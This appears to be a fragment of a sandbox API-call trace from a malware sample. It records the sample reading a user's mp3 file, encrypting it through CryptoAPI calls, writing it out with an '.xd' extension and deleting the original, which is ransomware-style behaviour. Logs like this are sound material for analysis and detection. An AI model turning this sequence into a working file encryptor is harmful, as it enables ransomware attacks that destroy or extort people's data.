[0074.445] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0074.445] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0aY1SS.mp3.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0ay1ss.mp3.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0074.449] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.449] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.449] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.449] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.451] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0074.451] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x6ad7, lpOverlapped=0x0) returned 1 [0074.452] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0074.454] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.455] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.455] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.455] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0074.455] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.455] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.455] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0074.455] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.455] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0074.455] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.455] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.455] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.455] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0074.455] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0074.456] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0074.456] CryptGetKeyParam (in: hKey=0x164c2f0, dwParam=0x7, pbData=0x16294a0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294a0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0074.456] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.456] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0074.456] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.456] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.456] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.456] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.456] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.456] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.456] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.456] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.456] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.457] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.457] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.457] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.457] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.457] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.457] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.457] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.457] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.457] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.457] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.457] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.457] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.457] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.457] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217f8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0074.458] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0074.458] CryptEncrypt (in: hKey=0x164c2f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x6ad7, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x6ae0) returned 1 [0074.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.458] CharLowerBuffW (in: lpsz="byte[27361]", cchLength=0xb | out: lpsz="byte[27361]") returned 0xb [0074.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.459] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.459] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.459] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.459] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0074.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b10, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0074.459] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0074.459] CryptEncrypt (in: hKey=0x164c2f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17ee0e0*, pdwDataLen=0x130e618*=0x6ad7, dwBufLen=0x6ae0 | out: pbData=0x17ee0e0*, pdwDataLen=0x130e618*=0x6ae0) returned 1 [0074.460] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.460] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.460] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.460] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.460] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.460] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.460] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.460] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.460] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.460] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.460] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.460] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.460] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.460] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.460] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.460] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.460] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.461] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.461] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.461] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.461] WriteFile (in: hFile=0x3d0, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x6ae0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x6ae0, lpOverlapped=0x0) returned 1 [0074.462] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.462] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.462] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0074.462] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.462] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.462] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0074.467] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16211b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0074.468] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0074.468] CryptDestroyKey (hKey=0x164c2f0) returned 1 [0074.468] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.468] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.468] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.468] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.468] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.468] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.468] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0074.468] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.468] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.468] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0074.468] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.468] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0074.468] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.468] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0074.468] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.468] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0074.468] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.468] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0074.469] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.469] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.469] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.469] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.469] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.469] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.469] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.469] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.469] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.469] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.469] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0074.469] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0074.469] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0074.469] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.469] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.469] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0074.469] FreeLibrary (hLibModule=0x74c60000) returned 1 [0074.470] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.470] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.470] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.470] CloseHandle (hObject=0x3d8) returned 1 [0074.471] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.471] CloseHandle (hObject=0x3d0) returned 1 [0074.488] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.488] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.488] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0aY1SS.mp3", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0aY1SS.mp3", lpFilePart=0x0) returned 0x28 [0074.488] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0aY1SS.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0ay1ss.mp3")) returned 0x20 [0074.488] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0aY1SS.mp3", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c6f0 [0074.489] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0aY1SS.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0ay1ss.mp3")) returned 1 [0074.493] FindNextFileW (in: hFindFile=0x164c6f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0074.493] FindClose (in: hFindFile=0x164c6f0 | out: hFindFile=0x164c6f0) returned 1 [0074.494] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 